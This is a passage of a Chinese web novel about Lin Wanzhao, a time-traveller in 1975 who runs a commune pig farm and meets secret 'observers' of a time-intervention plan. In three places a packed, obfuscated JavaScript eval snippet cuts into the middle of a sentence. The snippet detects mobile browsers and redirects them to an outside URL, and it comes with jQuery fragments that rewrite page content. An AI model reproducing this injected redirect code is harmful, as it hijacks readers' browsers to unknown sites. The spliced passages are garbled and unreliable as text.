王书记看完,笑了:“你这名单,把生产队、赤脚医生、知青都囊括了,考虑得周全。行,我批了。公章我下午让文书去刻,最晚明天给你。” 正事说完,林晚照犹豫了一下,还是开口:“书记,今天省农科院来了个同志,叫周明远,您知道吗?” “周明远?”王书记想了想,“没接到通知啊。怎么回事?” 林晚照把早上的事简单说了,隐去了鹰形符号的部分,只强调这个人问得特别细。 王书记的眉头皱起来:“我打个电话问问。” 电话打到省农科院,接电话的是张教授。林晚照坐在旁边,听见话筒里传来张教授疑惑的声音:“周明远?技术推广处没这个人啊。老王,你是不是听错了?” 办公室里的空气骤然凝固。 王书记的脸色变得严肃,他捂住话筒,看向林晚照:“你确定他叫周明远?工作证看了?” “看了,钢印是真的。” 电话那头,张教授的声音继续传来:“等等,我查一下……有了!周明远,三个月前从外地调来的,档案在人事处,但没人见过他上班。老王,这人要是有问题,你得赶紧处理!” 挂掉电话,王书记在办公室里踱了两圈,最后停在窗前:“晚照,你立刻回去,想办法拖住他。我这就联系派出所。” “书记,没有证据,派出所不好抓人。”林晚照冷静地说,“而且如果他真是‘那边’的人,普通派出所对付不了。” “那你说怎么办?” 林晚照站起来:“我去会会他。如果他真是冲我来的,躲不是办法。” “太危险!” “在红星公社的地界上,他不敢乱来。”林晚照说,“而且,我想知道,他们到底想观察什么。” 回程的拖拉机开得飞快。林晚照坐在车斗里,寒风刮在脸上像刀割。她的脑子在高速运转——周明远如果是“观察者”,他的任务是什么?收集情报?评估威胁?还是……等待某个时机? 手腕上的银镯又开始发烫,这一次烫得惊人。林晚照低头,看见镯子内圈的纹路已经变成了暗红色,像烧红的铁丝。 这是最高级别的警示。 她闭上眼睛,意识沉入空间。黑土地上的作物长势正好,灵泉汩汩流淌。但在空间边缘的雾气里,她看见了一双眼睛——不是人的眼睛,更像是某种监控器的镜头,冰冷,没有感情。 有人在透过空间观察她。 这个认知让她浑身的血液都凉了。她迅速退出空间,睁开眼睛时,拖拉机已经快到村口。 养猪场的方向围了一群人。 林晚照跳下车跑过去,看见周明远站在人群中央,手里拿着个照相机,正在给新猪舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854276|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍照。陈大牛站在他旁边,一脸无奈。 “周同志。”林晚照走过去,声音很平静,“拍照需要经过批准,您申请了吗?” 周明远转过身,脸上还是那副温和的笑容:“林同志回来了。我只是留个资料,回去好写报告。” “那也得按程序来。”林晚照伸出手,“相机先交给我保管,等您补完手续再还您。” 气氛一下子僵住了。 围观的村民都安静下来,看着这两个人对峙。周明远脸上的笑容慢慢淡去,他推了推眼镜,镜片后的眼睛盯着林晚照,像是在重新评估这个对手。 “如果我不交呢?”他问。 “那您就是非法拍摄国家建设项目。”林晚照寸步不让,“我有权制止。” 沉默持续了大概十秒钟。远处传来狗叫声,还有孩子追逐打闹的笑声。这些日常的声音,让眼前的对峙显得更加诡异。 最后,周明远笑了。他取下相机,递过来:“开个玩笑,林同志别介意。相机您先保管,我下午去公社补手续。” 林晚照接过相机,很沉,是德国产的徕卡,这个年代极少见。她打开后盖,里面根本没有胶卷。 “周同志,”她抬起头,“您用没装胶卷的相机,拍什么呢?” 周明远的表情第一次出现了裂痕。但很快,他又恢复了那种从容:“忘了装,年纪大了,记性不好。” 这话骗不了任何人。 林晚照把相机递给陈铁柱:“队长,收好。”然后她对周明远说,“周同志远道而来辛苦了,队部准备了午饭,咱们边吃边聊?” 这是要摊牌了。 队部的饭桌上摆着四个菜:白菜炖粉条、炒鸡蛋、腊肉炒蒜苗、萝卜汤。在这个年代,这算是很高的招待标准了。但吃饭的三个人——林晚照、陈铁柱、周明远,谁都没动筷子。 “周同志,”林晚照先开口,“您到底是谁?” 周明远夹了片腊肉,慢慢嚼着,咽下去后才说:“我是周明远,省农科院技术推广处的干部。工作证你们看过了,是真的。” “但农科院没有您这个人。”林晚照盯着他,“张教授亲自查的。” 周明远的手顿了顿。他放下筷子,拿起桌上的毛巾擦了擦嘴,动作依然从容,但林晚照看见他擦嘴时,毛巾在嘴角多停留了一秒。 那是人在紧张时的下意识动作。 “林同志,”他终于说,“有些事,知道得太多没好处。” “但我已经知道了。”林晚照身体前倾,压低声音,“鹰计划,观察者协议,对吗?” 周明远的瞳孔骤然收缩。 这个反应,证实了一切。 “你是怎么……”他话说到一半停住了,摇了摇头,“不对,你不应该知道这些。除非……” “除非什么?” 周明远没有回答。他重新拿起筷子,夹了块炒鸡蛋,吃得很慢,像是在拖延时间思考。队部外面传来社员们收工的喧闹声,那些声音越热闹,屋子里的沉默就越沉重。 “林晚照同志,”他终于开口,语气完全变了,不再是那个温和的技术员,而是一种公事公办的冰冷,“你是一个异常变量。按照协议,我有权对你进行观察和评估。” “评估什么?评估我是不是威胁?” “评估你是否会扰乱历史进程。”周明远说得很直接,“1975年,红星公社的养猪场不应该有通风设计,不应该有科学防疫流程,更不应该在三个月内扩大到三十头猪的规模。你做的每一件事,都在改变原本的历史轨迹。” 林晚照的心跳加快,但她面上不动声色:“所以呢?你们要消除我这个‘异常’?” “那取决于你的危险等级。”周明远从怀里掏出那个军绿色笔记本,翻开,里面密密麻麻写满了字,“过去三个月,我记录了你的所有行为。结论是,你目前的行为都在‘可接受偏差’范围内——你用这个时代的知识推动改良,没有拿出超越时代的技术,也没有试图接触高层改变大政方针。” “所以你们只是在观察?” “观察,评估,必要时干预。”周明远合上笔记本,“林同志,我今天的暴露是个意外,但也是给你的一个警告。你可以继续你的项目,但必须遵守三条规则:第一,不拿出1975年之后的技术;第二,不试图改变重大历史事件;第三,不向任何人透露未来信息。” “如果我说不呢?” 周明远笑了,那个笑容没有任何温度:“那你就会消失。不是死,是消失,就像你从来没存在过一样。” 陈铁柱猛地站起来,椅子在水泥地上刮出刺耳的声音。但林晚照按住了他的手。 “我接受。”她说。 周明远有些意外:“这么干脆?” “因为我没得选。”林晚照看着他的眼睛,“但我也有条件。你们观察可以,但不能干扰我的正常生活,不能伤害我身边的人。” “只要你不越线,我们不会干涉。”周明远站起身,从陈铁柱手里拿回相机,“今天的事,就当没发生过。我还是省农科院的周明远,来考察项目,明天回省城写报告。” 他走到门口,又回过头:“对了,李国强那件事,是我们处理的。匿名信作者吴建国,也是我们调走的。算是给你扫清障碍的诚意。” 门关上了。 脚步声渐渐远去。 陈铁柱一拳砸在桌子上,碗筷跳起来又落下:“晚照,这到底……” “队长,”林晚照打断他,声音很轻,“今天的事,对谁都不要说。包括三婶,包括王晓芬,任何人。” “可是……” “没有可是。”林晚照站起来,走到窗前。周明远的身影已经消失在村口的土路上,像一滴水融进了大海。 她知道,从今天起,她的每一步都要更加小心。 但她也知道,对方不敢轻易动她——因为她的存在本身,可能就是一个更大的计划的一部分。 “鹰计划”到底是什么?“观察者协议”又是谁制定的?他们为什么允许她这个“异常变量”存在? 这些问题暂时没有答案。 但林晚照有一种预感:答案,就藏在那个即将到来的未来里。 窗外的天空阴沉下来,又要下雪了。 养猪场的方向传来猪崽的哼叫声,新的一天又要开始。 而暗处的眼睛,还在看着。 27.裂缝里的声音 腊月二十三,小年。 雪是半夜开始下的,悄无声息,等到天亮时,整个红星公社已经裹在一层素白里。林晚照醒来时,听见窗外有扫雪的沙沙声,还有孩子们打雪仗的嬉闹。这些声音很真实,真实得让她几乎要以为昨天那场对峙只是场梦。 但手腕上的银镯在提醒她不是。 镯子内圈的暗红色纹路已经褪去,恢复了那种温润的银白。可如果仔细看,能看见纹路边缘多了一圈极细的裂纹,像冬天河面上将裂未裂的薄冰。 林晚照坐起身,从枕头下摸出那面碎了一半的镜子。镜子里的人眼下有淡淡的青黑,但眼神很静,静得像深潭。她对着镜子练习了一个笑容——要那种带着点疲惫、但又充满干劲的笑,符合一个熬夜工作的知青该有的样子。 练了三遍,直到表情自然了,她才下床。 王晓芬已经扫完院子里的雪,正在灶台前烧水。铁锅里的水咕嘟咕嘟响着,蒸汽把糊着旧报纸的屋顶熏出一片湿痕。 “晚照,昨晚没睡好?”王晓芬回头看她一眼,“眼圈都是黑的。” “想养猪场的事,睡不着。”林晚照自然地接过话头,从水缸里舀了瓢水倒进脸盆,“今天得去信用社取钱,还得去县里买建材。” “五千块啊……”王晓芬咋舌,“我这辈子都没见过这么多钱。” “是集体的钱。”林晚照纠正她,语气很认真,“每一分都得花在刀刃上。” 吃过早饭,林晚照裹上那件半旧的军大衣,戴好雷锋帽,出门时雪已经停了。阳光照在雪地上,晃得人睁不开眼。村里土路两旁的屋檐下挂着冰棱,长的有尺把长,在阳光下晶莹剔透。 信用社在公社大院隔壁,是个两间屋的小平房。柜台后面坐着个五十多岁的女会计,戴一副老花镜,正在打算盘。看见林晚照进来,她抬起头,镜片后的眼睛上下打量了一番。 “取钱?”声音不冷不热。 “对,红星公社养猪项目专项资金。”林晚照把王书记的批条和自己的印章递过去。 女会计接过批条,凑到眼前看了半天,又拿起印章对着光仔细瞧。这个过程持续了足足三分钟,屋里只有算盘珠子偶尔拨动的啪嗒声。 “五千块不是小数目。”女会计终于开口,“得要两个人一起取,还得有担保人。” 林晚照早有准备:“生产队陈铁柱队长做担保,他一会儿就到。” 正说着,门帘被掀开,陈铁柱带着一身寒气进来。他今天穿了件新棉袄,领口的扣子扣得一丝不苟,脸上还难得地刮了胡子。 “刘会计,麻烦您了。”陈铁柱递上生产队的公章和自己的私章。 又是一通核对。最后,女会计从抽屉里拿出五沓钱——全是十元面额的“大团结”,用牛皮纸带捆着,捆得紧紧的。她把钱推到柜台上,手指在上面按了按:“当面点清,离柜不认。” 林晚照拿起第一沓。钱很新,油墨味还很浓。她一张张数,数得很慢,很仔细。陈铁柱站在旁边看着,呼吸声都比平时重了些。 五沓钱,每沓一百张,五千元整。 点完最后一张,林晚照抬起头:“对的。” 女会计在取款单上盖了章,撕下回执递过来:“拿好。这钱可别乱花,县里审计局三个月后要查账的。” “明白,谢谢刘会计。” 出了信用社,冷风一吹,林晚照才发觉自己手心全是汗。她把装钱的帆布包紧紧抱在怀里,那厚度抵在胸口,沉甸甸的,沉得让人心慌。 “先去供销社买点东西。”陈铁柱说,“下午还得去县里,路远,得备点干粮。” 供销社里人不少,都是赶在小年前来置办年货的。柜台上的商品不多:肥皂、火柴、白糖、盐,最显眼的位置摆着几匹布,颜色只有灰、蓝、绿三种。空气里混着煤油、红糖和旧木头的气味。 林晚照买了十斤红糖、五条肥皂、两包火柴——这些都是养猪场要用的。付钱时,售货员盯着那沓“大团结”看了好几眼,眼神复杂。 “同志,你们养猪场真要扩大啊?”旁边有个大娘忍不住问。 “对,开春就建新猪舍。”林晚照一边把东西装进网兜一边说,“到时候还要招工,大娘您家有合适的人可以来报名。” 这话像颗石子投进水里,周围的人都围了过来。 “真招工?工分咋算?” “要啥条件?” “女的要不?” 七嘴八舌的问题涌过来。林晚照耐心地一一回答:“男女都要,十八到四十岁,身体好、能吃苦就行。工分按整劳力算,干得好的还有奖励。” 人群里响起嗡嗡的议论声。有人高兴,有人怀疑,还有人眼神闪烁,不知道在想什么。 陈铁柱趁机说:“这可是公社王书记亲自抓的项目,钱是省里拨的。大家回去都宣传宣传,有意向的明天去养猪场报名。” 从供销社出来,已经快中午了。两人在路边找了个背风的地方,就着凉水啃玉米饼。饼是早上带的,早就冻硬了,咬一口掉渣。 “晚照,”陈铁柱忽然压低声音,“昨晚那个人……还会回来吗?” 林晚照咀嚼的动作顿了顿。她咽下嘴里的饼,才说:“暂时不会。但他说了,会有人继续‘观察’。” “那你……” “我没事。”林晚照打断他,语气很平静,“队长,这事以后别提了。咱们就当没发生过,该干啥干啥。” 陈铁柱盯着她看了几秒,最后点点头:“行,我听你的。” 下午去县里的拖拉机是跟公社借的,开车的是小赵。路不好走,雪化了又冻成冰,拖拉机开得歪歪扭扭,三十里路走了快两个小时。 县建材公司在城西,是个大院子,堆着水泥、钢筋、木材。门卫是个瘸腿老头,看了介绍信才放他们进去。 办公室里坐着个胖胖的中年男人,姓孙,是公司的副主任。他接过林晚照递上的采购单,扫了一眼,眉头就皱起来。 “水泥五十吨?钢筋三吨?同志,你这单子开得太大,我做不了主。” “孙主任,这是省里批的项目……”林晚照话没说完。 孙主任摆摆手:“省里批的也不行。现在物资紧张,水泥、钢筋都是计划内供应,得有指标。你们公社的指标是多少?” 林晚照心里一沉。这事她问过王书记,书记只说“县里会协调”,没提指标的事。 “我们没有指标,但项目急需……” “没有指标就难办了。”孙主任身子往后一靠,手指在桌面上敲着,“要不这样,你们回去补个申请,送到计委批。批下来,我这边马上供货。” “那得多久?” “快的话半个月,慢的话……就不好说了。”孙主任笑眯眯的,但眼神里没有一点笑意。 从建材公司出来,天已经擦黑了。小赵蹲在拖拉机旁抽烟,看见他们出来,站起来问:“成了吗?” 陈铁柱摇摇头。 回去的路上,三个人都没说话。拖拉机突突的声音在暮色里格外刺耳。林晚照望着路两边飞快倒退的枯树,脑子里快速盘算着。 没有建材,猪舍就建不起来。建不起猪舍,项目就得停。项目一停,省里的钱就得退回去。退了钱,她在红星公社就站不住脚了。 这是个死循环。 “晚照,要不回去找王书记?”陈铁柱打破沉默。 “找王书记也没用。”林晚照说,“物资指标是县计委管的,书记的面子还不够。” “那咋办?” 林晚照没回答。她闭上眼睛,意识沉入空间。 黑土地上的作物已经成熟了,麦穗沉甸甸地垂着。灵泉依然在流淌,泉水汇成的小溪反射着空间里永恒不变的柔光。一切都和往常一样——除了边缘那道裂缝。 裂缝比昨天更宽了,大概有一指宽,里面是深邃的黑暗。但今天,黑暗里不止有电话忙音,还多了些别的声音。 是音乐声。 很模糊,断断续续的,但能听出旋律——是《春天的故事》。这首歌,不应该出现在1975年。 林晚照的心跳猛地加速。她集中精神,试图听清更多。音乐声渐渐弱下去,取而代之的是人声,很多人在说话,声音嘈杂,像是在开会。 “……1984年的试点经验表明……” “……价格双轨制必须逐步取消……” “……乡镇企业的发展机遇……” 断断续续的词句飘出来,每一个词都像惊雷在她耳边炸响。1984年?价格双轨制?乡镇企业? 这些都是至少十年后才会出现的东西! 她猛地睁开眼睛,后背已经被冷汗浸湿。陈铁柱察觉到她的异样,转过头:“咋了?不舒服?” “没事。”林晚照的声音有点发干,“就是有点冷。” 拖拉机在夜色里颠簸着。远处,红星公社的灯火星星点点地亮起来,像散落在黑绒布上的碎钻。 那些灯火里,有一盏是属于养猪场的。 林晚照握紧了拳头。 建材的事必须解决。而且必须尽快。 回到知青点时,已经晚上八点多了。王晓芬给她留了饭,是一碗白菜炖粉条,里面罕见地飘着两片肥肉。 “快吃,还热着。”王晓芬把碗推过来,“下午有人来找你。” “谁?” “县里来的,说是计委的,姓郑。”王晓芬压低声音,“留了个条子,让你明天上午去县招待所找他。” 林晚照心里一动。她接过纸条,上面用钢笔写着一行字:“明日九点,县招待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856547|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所203室,郑。”字迹很工整,是标准的机关体。 “还说啥了?” “没说啥,就是问了问养猪场的情况,待了十分钟就走了。”王晓芬顿了顿,“不过晚照,我觉得这人有点怪。” “怎么怪?” “他问话特别细,细到……细到不像领导下来视察。”王晓芬努力组织着语言,“比如他问,你平时除了养猪还干啥,看不看书,看啥书。还问,你跟省农科院的张教授是怎么认识的。” 林晚照的筷子停在半空。 又是试探。 “观察者”不止一个。周明远走了,又来了一个姓郑的。而且这个更隐蔽,更懂得用正常的工作流程做掩护。 她低下头,继续吃饭。粉条有点坨了,但很香,热乎乎地顺着食道滑下去,暖了冰凉的身体。 “我知道了。”她淡淡地说,“明天我去见见。” 吃完饭,林晚照端着碗去水井边洗。井台上的冰很厚,她用铁瓢敲了半天才敲开一个口。井水打上来,冷得刺骨。 她蹲在井台边,借着月光看水里自己的倒影。影子晃晃悠悠的,看不清表情。 明天去见那个姓郑的,该说什么?不该说什么?建材的事能不能通过他解决?如果他是“观察者”,会不会故意卡着指标? 问题一个接一个冒出来,像水井里不断涌出的气泡。 洗好碗往回走时,她看见陈铁柱蹲在养猪场门口的窝棚里,煤油灯的光从窝棚的缝隙漏出来,在地上投出细长的光斑。 她走过去,掀开草帘。 陈大牛也在,两人正凑在一起看图纸。图纸摊在草垫上,上面用红笔画了好几个圈。 “林同志回来了?”陈大牛抬起头,“县里那边……” “没成。”林晚照在草垫上坐下,“没指标,建材买不到。” 窝棚里安静下来。煤油灯的灯芯噼啪响了一声,爆出一朵灯花。 “那咋整?”陈大牛的声音有点哑,“地基都打好了……” “我想想办法。”林晚照说,“明天我去县里见个人。” “谁?” “计委的。”林晚照没多说,“陈叔,如果……我是说如果,建材一时半会到不了,咱们能不能先想别的办法?比如,用土坯?” 陈大牛愣了愣:“土坯?那不行啊,猪舍得结实,土坯不防潮,冬天冷,猪容易生病。” “我知道。”林晚照揉了揉眉心,“但总比停工强。” 一直没说话的陈铁柱忽然开口:“我有个主意。” 两人都看向他。 “我二舅在邻县砖厂当会计。”陈铁柱说,“他们厂有时候会有一些次品砖,便宜处理。虽然有点裂缝,但砌墙没问题。” “能买到吗?”林晚照眼睛一亮。 “得去问问。”陈铁柱说,“就是路远,得开介绍信,还得带钱。” “钱我有。”林晚照立刻说,“介绍信我明天找王书记开。只要能买到,贵点也行。” 这是眼下唯一的出路了。 从窝棚出来,已经快十点了。雪又下了起来,细密的雪粒子在风里打着旋。林晚照深一脚浅一脚地往回走,脚印在雪地上留下一串深深的坑。 回到知青点,王晓芬和李秀英已经睡了。刘翠翠还在看书,煤油灯的光把她的侧影投在墙上,柔柔的一片。 林晚照轻手轻脚地洗漱完,爬上床。被子很薄,她裹紧了大衣,还是觉得冷。 闭上眼睛,她又进入了空间。 裂缝还在那里,像一道黑色的伤疤。音乐声已经消失了,取而代之的是一种持续的、低频的嗡鸣,像是机器运转的声音。 她站在裂缝前,犹豫了很久,最后伸出手,轻轻碰了碰裂缝的边缘。 指尖传来一种奇怪的触感——不是冷也不是热,而是一种虚无,仿佛那里什么也不存在,连空间本身都被吞噬了。 她缩回手,盯着那道裂缝。 这里面到底是什么?为什么会出现未来的声音?这和“观察者协议”有没有关系? 问题没有答案。 但她知道,裂缝的出现,一定意味着什么。也许是警告,也许是机会,也许……是她改变命运的唯一途径。 夜深了。 雪越下越大,覆盖了白天所有的痕迹。 养猪场的方向传来守夜狗的吠声,一声,两声,在寂静的雪夜里传得很远。 林晚照在黑暗中睁开眼睛。 明天,她要去见那个姓郑的。 明天,她要去找砖。 明天,她还要继续在这个布满陷阱的世界里,走出一条自己的路。 她翻了个身,手腕上的银镯在黑暗里泛着微弱的荧光。 裂缝里的嗡鸣声,似乎更响了。 28.同一个地方 县招待所是栋三层小楼,红砖墙,木格窗,墙皮有些地方已经剥落,露出里面黄泥的底色。203室在二楼走廊尽头,门是那种刷了绿漆的老式木门,门牌号的白漆已经斑驳。 林晚照在门前站了三秒钟。 这三秒钟里,她脑子里闪过无数种可能——陷阱?试探?还是……真的? 最后她抬起手,指关节在门上叩了三下。声音在空荡的走廊里回响,带着某种不祥的韵律。 门开了。 开门的是个四十岁左右的男人,中等个子,脸很普通,是那种扔进人堆就找不着的长相。他穿着灰色的中山装,扣子一直扣到最上面一颗,袖口洗得发白,但熨得笔挺。 “林晚照同志?”他的声音也很普通,不高不低,带着点南方口音。 “是我。您就是郑主任?” “郑卫国。”男人侧身让开,“进来吧。” 房间不大,一张床,一张桌子,两把椅子。桌上摆着个搪瓷缸,缸身上印着“为人民服务”的红字。窗台上放着个暖水瓶,竹编的壳子已经发黑。 郑卫国在床沿坐下,指了指对面的椅子:“坐。一路过来冷吧?喝点热水。” 他从暖水瓶里倒了半缸水,推过来。水是温的,不烫。 林晚照没动那缸水。她在椅子上坐下,背挺得很直,双手放在膝盖上,是个随时准备起身的姿势。 “郑主任找我,是为了建材指标的事?”她先开口,语气平静,像真的只是来谈工作。 郑卫国笑了。他的笑很浅,只牵动嘴角,眼睛里的神色没变:“建材是个小事。我今天找你,是想谈谈……别的事。” “什么事?” 郑卫国没直接回答。他从口袋里掏出盒烟,是大前门,抽出一支在桌上顿了顿,然后点上。烟雾在房间里升起来,带着劣质烟草的呛人气味。 “林晚照同志,”他吸了口烟,慢慢吐出来,“你是1975年3月15号穿来的,对吧?” 房间里安静得能听见烟丝燃烧的滋滋声。 窗外的阳光从木格窗照进来,在水泥地上投出菱形的光斑。光斑里有细小的尘埃在浮动,上上下下,像无数个微小的生命在挣扎。 林晚照的手指在膝盖上蜷缩了一下,又松开。 “我不明白您在说什么。”她的声音很稳,稳得连自己都惊讶。 “你明白。”郑卫国弹了弹烟灰,“红星公社养猪场,原本在1975年10月因为猪瘟全灭,1976年开春就荒废了。但现在,它不仅没倒,还要扩建。你从省城搞来了五千块专项资金,这钱原本应该拨给县农机厂的。” 他每说一句,林晚照的心就沉一分。 这些细节,如果不是仔细调查过,不可能知道得这么清楚。 “你是谁?”她终于问。 郑卫国没回答。他站起身,走到窗边,背对着她:“你手腕上有个银镯,对吧?外婆留下的。内圈有龙凤纹,但仔细看,纹路其实是一行字——‘时空锚点,编号074’。” 林晚照的后背瞬间被冷汗浸透。她下意识捂住手腕,银镯在袖子里硌着皮肤,冰凉。 “你怎么……” “因为我也有一个。”郑卫国转过身,撩起左袖。手腕上确实有个银镯,款式和她的几乎一模一样,只是内圈的纹路不同。 林晚照盯着那个镯子,脑子里一片混乱。 “我们来自同一个地方。”郑卫国放下袖子,重新坐下,“或者说,同一个计划。” “什么计划?” “时空观测与干预计划,代号‘灯塔’。”郑卫国的语气变得正式,像在念报告,“你是074号观测员,我是037号。我们的任务,是在不同时间节点建立观测点,记录历史进程,并在必要时进行微调。” 林晚照的呼吸有些急促:“微调?什么意思?” “就是你现在做的这些事。”郑卫国指了指窗外,“用科学方法养猪,提高产量,改善农民生活——这是被允许的微调范畴。但如果你试图改变重大历史事件,比如提前泄露高考恢复的消息,或者干预高层决策,那就会触发干预机制。” “所以周明远……” “周明远是‘守夜人’,他们的任务是监视我们这些观测员,确保我们不越界。”郑卫国掐灭烟头,“昨天他暴露,是我安排的。” “为什么?” “因为我们需要接触。”郑卫国的眼神变得锐利,“林晚照同志,你难道没发现,你的空间出问题了吗?” 这句话像一道闪电劈进林晚照的脑子里。 裂缝。那些声音。《春天的故事》。1984年…… “裂缝是怎么回事?”她急切地问。 “时空紊乱。”郑卫国说得很简洁,“你的观测点出现了异常波动,导致时空结构出现裂缝。如果不及时修复,裂缝会扩大,最终可能导致……” “导致什么?” “导致你这个观测点被抹除。”郑卫国的声音很平静,但话里的内容让人不寒而栗,“连带你在这个时间点存在过的所有痕迹。” 房间里又安静下来。 楼下传来服务员推着清洁车的声音,轱辘在水泥地上滚动,吱呀吱呀的。远处有自行车铃声,叮铃铃的,带着七十年代特有的节奏。 林晚照端起那缸温水,喝了一口。水已经凉了,顺着食道滑下去,冷到胃里。 “怎么修复?”她问。 “完成你的核心任务。”郑卫国说,“每个观测员都有个核心任务,这是稳定时空锚点的关键。你的任务是什么,镯子会告诉你。” 林晚照下意识摸向手腕。银镯温润,但此刻却感觉沉重无比。 “我怎么知道你说的是真的?”她抬起头,盯着郑卫国。 郑卫国从怀里掏出个笔记本,翻开,推到林晚照面前。上面是手写的记录,字迹工整: 1975.3.15,观测员074号降临,红星公社知青点。初始状态:营养不良,体重41kg,携带基础生存物资…… 1975.6.22,首次使用灵泉,治愈同屋知青李秀英的慢性咳嗽…… 1975.10.3,提交科学养猪方案,触发历史微调节点…… 记录一直写到昨天,连她和周明远对峙的细节都有。 “这是你的观测日志。”郑卫国说,“每个观测员都要写。你的那份,应该在空间里。” 林晚照闭上眼睛,意识沉入空间。 黑土地边缘,裂缝旁边,不知什么时候多了个木箱。她以前从未注意过——或者说,这个箱子是刚刚出现的。 箱子没锁,打开,里面是一摞笔记本。最上面那本的封面上写着:观测员074号工作日志。 她翻开第一页。 1975年3月15日,晴。穿越成功,坐标确认。当前任务:在红星公社建立稳定观测点,存活至1977年12月…… 字迹是她的,但她完全不记得自己写过这些。 意识回到现实,林晚照的脸色有些苍白。 “现在相信了?”郑卫国问。 “为什么现在才告诉我这些?” “因为之前没必要。”郑卫国又点了支烟,“按照计划,观测员之间不应该直接接触,除非出现异常。你的空间裂缝就是异常。而且……” 他顿了顿,烟雾后的眼睛眯起来:“而且我怀疑,有人故意制造了这个异常。” “谁?” “不知道。”郑卫国摇头,“可能是‘守夜人’内部的激进派,也可能是别的什么势力。时空干预是个敏感的领域,有很多人想从中牟利。” 林晚照想起裂缝里那些未来的声音。价格双轨制,乡镇企业,1984年…… “裂缝里的声音,是未来的信息泄露?” “对。”郑卫国点头,“裂缝连接了不同时间点,导致信息流混乱。如果不尽快修复,泄露的信息会越来越多,最终可能引发时空悖论。” “那我的核心任务到底是什么?”林晚照追问,“日志里只说要建立观测点,存活到1977年,这太模糊了。” 郑卫国从笔记本里抽出一张纸,递过来。纸是那种机关用的便笺纸,抬头印着县计委的红字。 上面写着一行指令: 观测员074号核心任务:在1977年冬季之前,使红星公社生猪存栏量达到500头,农民人均年收入提高50%。任务完成,时空锚点稳定。任务失败,观测点抹除。 林晚照盯着那行字,手指微微发抖。 五百头猪。人均收入提高50%。 现在是1975年底,红星公社的生猪存栏量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856548|191601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不到一百头,农民人均年收入……她不知道具体数字,但肯定很低,低到很多人过年都吃不上一顿肉。 两年时间,要完成这个目标,几乎不可能。 “这是故意刁难。”她抬起头,声音里带着压抑的怒气。 “这是测试。”郑卫国纠正她,“‘灯塔’计划需要的是能在历史洪流中创造奇迹的人。如果你能做到,就证明你有资格继续这个任务。如果做不到……” 他没说完,但意思很明显。 林晚照把那张纸折好,放进口袋。纸张摩擦布料的声音很轻,但在寂静的房间里格外清晰。 “我需要帮助。”她说。 “我会给你建材指标。”郑卫国说,“这是我能提供的最大帮助。其他的,得靠你自己。” “为什么帮我?” 郑卫国沉默了一会儿。他走到窗边,看着楼下街道上骑自行车的人群,那些穿着蓝灰衣服的人们,在冬日的阳光下像一群忙碌的蚂蚁。 “因为我也曾面临过同样的选择。”他的声音很轻,轻得像自言自语,“1970年,我在云南插队,任务是在边境建立观测点。我失败了,观测点被抹除,但我活了下来。作为代价,我失去了回去的资格,永远留在了这个时代。” 他转过身,眼睛里有种很深的东西:“我不希望你走我的老路。” 林晚照张了张嘴,想说什么,但没说出来。 最后她只是问:“建材指标什么时候能批?” “今天下午。”郑卫国回到桌边,从公文包里拿出几张表格,“把这些填了,我拿去盖章。水泥、钢筋、木材,你要的都有。但有个条件——” 他抬起头,目光锐利:“这些建材,必须全部用于养猪场建设。我会派人定期检查,如果发现挪用,不止项目要停,你也会有麻烦。” “我明白。” 林晚照接过表格,从桌上拿起钢笔。笔是英雄牌的,笔尖有些刮纸。她一笔一画地填着,姓名,单位,项目名称,物资种类,数量…… 填到最后一栏时,她的手顿了顿。 申请理由:为发展集体养猪事业,提高农民收入,支援国家建设。 这句话她写过很多次,但今天写,感觉格外沉重。 郑卫国接过填好的表格,仔细看了一遍,点点头:“行了。你回公社等消息,最晚明天,调拨单会送到王书记那里。” “谢谢。”林晚照站起身。 “不用谢我。”郑卫国也站起来,送她到门口,“记住,两年时间。五百头猪,人均收入提高50%。这不是游戏,是生死线。” 门开了又关。 林晚照走在走廊里,脚步声在空荡的楼道里回响。下楼时,她碰见个服务员,是个扎着麻花辫的姑娘,正在擦楼梯扶手。 “同志,谈完事了?”姑娘抬起头,笑容很甜。 “嗯,谈完了。”林晚照勉强笑了笑。 走出招待所,阳光刺眼。街上人来人往,自行车铃声响成一片。路边的国营饭店门口排着队,人们手里攥着粮票和钱,等着买馒头。 这一切如此真实,如此鲜活。 但此刻在林晚照眼里,却像一场精心布置的舞台剧。而她,只是个被迫登台的演员。 她摸了摸口袋里的那张纸。 五百头猪。人均收入提高50%。 还有手腕上的银镯,那个所谓的“时空锚点”。 以及空间里那道不断扩大的裂缝。 所有线索都指向一个事实:她的穿越不是意外,而是一场被安排好的实验。她的挣扎,她的努力,甚至她的生死,都可能是某个庞大计划里的一环。 这个认知让人窒息。 但她没有时间窒息。 